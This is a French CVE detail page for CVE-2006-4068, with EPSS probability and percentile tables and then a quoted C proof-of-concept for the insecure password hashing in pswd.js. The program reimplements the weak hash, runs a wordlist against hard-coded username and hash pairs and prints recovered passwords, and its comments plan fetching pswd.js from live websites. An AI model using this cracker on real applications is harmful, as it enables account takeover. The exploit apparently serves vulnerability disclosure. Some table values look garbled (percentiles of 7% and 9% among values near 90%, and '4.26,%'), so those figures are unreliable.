CVE-2006-4068 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	2.81%	–
2023-04-02	–	–	–	2.75%	–
2023-05-07	–	–	–	2.74%	–
2023-06-18	–	–	–	2.68%	–
2024-01-07	–	–	–	2.85%	–
2024-04-07	–	–	–	2.85%	–
2024-06-02	–	–	–	2.85%	–
2024-06-02	–	–	–	2.85%	–
2024-12-08	–	–	–	3.41%	–
2024-12-22	–	–	–	2.12%	–
2025-01-19	–	–	–	2.12%	–
2025-03-18	–	–	–	–	3.53%
2025-03-30	–	–	–	–	4.26%
2025-03-30	–	–	–	–	4.26,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	89%
2023-04-02	89%
2023-05-07	89%
2023-06-18	89%
2024-01-07	9%
2024-04-07	91%
2024-06-02	91%
2024-06-02	91%
2024-12-08	92%
2024-12-22	89%
2025-01-19	89%
2025-03-18	87%
2025-03-30	88%
2025-03-30	88%

/* source: https://www.securityfocus.com/bid/19333/info Applications running pswd.js are prone to an insecure password-hash weakness. This issue is due to a design flaw that results in password hashes being created in an insecure manner. This issue allows attackers to use precomputed password hashes in brute-force attacks and authenticate themselves against the vulnerable application running the script. A successful exploit of this issue may lead to other attacks. */ /* * processes the word.lst and computes the password : * if a hash corresponds to a password listed and in the vector it prints password, username and hash code * * todo: * 1. make the account file dynamic * 2. make the dictionary dynamic * 3. make dynamic all the procedure: one could connect to a website, download the pswd.js file, process it and found passwords... * * Developed by Gianstefano Monni */ #include <stdio.h> #include <math.h> #include <string.h> long pwdchk (char *); char base[]= {'0','1','2','3','4','5','6','7','8','9', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; char pass[30]; long f[]={23,535,1047,1559,2071,2583,3095,3607,4119,4631, 12,21,26,38,53,72,101,139,294,375,584,841,1164,1678,2425,4989,6478,10076,14494,21785,30621,69677,87452,139356,201113,278810, 80,83,93,99,113,131,159,194,346,416,619,861,1165,1649,2256,4766,6077,9554,13713,20576,28894,65661,82386,131248,164801,262524}; char K[62]; //the pwd structure typedef struct { char *user; long code; char *plain_pass; }PWD; //the list of username and passwords, it is hard-coded in the pswd.js file PWD pwd_list[]= { {"ti8ae88me",73303,""}, {"koqaaheo",61899,""} }; //number of elements in pwd_list int pwd_num=2; void gen_f() { long x=0; long y=28; long z=23; for (x=0;x<62;x++) f[x]=0; for (x=0; x<10; x++){ f[x]=x<<9; f[x]+=23; } for (x=10; x<36; x++){ y=y<<1; long v= (int) sqrt(y); v+=5; f[x]=v; y++; } for (x=36; x<62; x++){ z=z<<1; long v= (int) sqrt(z); v+=74; f[x]=v; z++; } } int main (int argc, char ** argv) { char passwd[255]; FILE * fp=0; int x=0; int i=0; long num=0; long code; if (argc <=1){ fp=fopen("word.lst","r"); if (fp){ while (!feof(fp)){ //prints a message every 1M words processed if ((++num % 1000000)==0) printf("%d words processed",num); //reads the word and computes the hash fscanf(fp,"%s",passwd); code=pwdchk(passwd); //checks if the computed hash is included in the hash vector for (x=0;x<pwd_num;x++) if (code==pwd_list[x].code) //if yes, we've found a password printf("FOUND user: %s password: %s code %d\n\n",pwd_list[x].user,passwd,code); } } } else{ code=pwdchk(argv[1]); printf("%s:%d\n",argv[1],code); } return 0; } long pwdchk(char *aPasswd){ long code=0; int l=0,y=0,x=0; int lpass=strlen(aPasswd); for (l=0; l<lpass; l++) K[l]=aPasswd[l]; for (y=0; y<lpass; y++){ for(x=0; x<62; x++){ if (K[y]==base[x]) code+=((y+1)*f[x]); } } return code; }